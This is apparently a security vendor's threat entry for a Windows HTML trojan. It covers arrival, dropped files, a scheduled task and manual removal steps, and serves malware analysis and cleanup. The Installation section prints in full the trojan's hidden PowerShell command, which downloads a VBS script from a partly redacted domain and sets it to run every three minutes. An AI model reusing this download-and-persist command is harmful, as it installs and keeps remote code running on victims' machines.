Analysis by: Raighen Sanchez
ALIASES:

Trojan:Win32/Alevaul!rfn (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It does not have any information-stealing capability.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 10,525 bytes
File Type: HTML, HTM
Memory Resident: Yes
Initial Samples Received Date: 27 Mar 2025
Payload: Connects to URLs/IPs, Displays windows

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • C:\Users\Public\Documents\UpdateOfficeCore.vbs

It adds the following processes:

  • powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$w.Headers.Add('User-Agent', 'Ds26GOZNxbTxlJY');$a=$w.downloaddata('https://{BLOCKED}limes.life/api/values/uid');$c=[System.Text.Encoding]::utf8.GetString($a);set-content C:\Users\Public\Documents\UpdateOfficeCore.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Documents\UpdateOfficeCore.vbs /f;

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan downloads the file from the following URL and renames the file when stored in the affected system:

  • https://{BLOCKED}limes.life/api/values/uid

Information Theft

This Trojan does not have any information-stealing capability.

Other Details

This Trojan does the following:

  • It displays the following document upon opening the file:

However, as of this writing, the said sites are inaccessible.

It does not exploit any vulnerability.

It adds the following scheduled tasks:

  • Name:ExplorerCoreUpdateTaskMachine
    Trigger:Runs the VBS script every 3 minutes.
    Action::C:\Users\Public\Documents\UpdateOfficeCore.vbs

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.128.03
FIRST VSAPI PATTERN DATE: 07 Apr 2025
VSAPI OPR PATTERN File: 20.129.00
VSAPI OPR PATTERN Date: 08 Apr 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks while in Safe Mode

  1. Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
    • {Task Name}: ExplorerCoreUpdateTaskMachine
    • {Task to be run}: C:\Users\Public\Documents\UpdateOfficeCore.vbs
  2. For Windows 7 and Server 2008 (R2) users, click Start>Computer.
    • For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
  3. In the Search Computer/This PC input box, type:
    • %System%\Tasks\{Task Name}
  4. Once located, select the file then press SHIFT+DELETE to delete it.
  5. Open Registry Editor. To do this:
    • For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
    • For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
  6. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  7. Locate the created entry and take note of the registry value's data:
    • ID={Task Data}
  8. After taking note of the data, delete the registry key:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  9. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
    • ={Task Data}
  11. Close Registry Editor.

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • C:\Users\Public\Documents\UpdateOfficeCore.vbs

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.HTML.POWLOAD.C. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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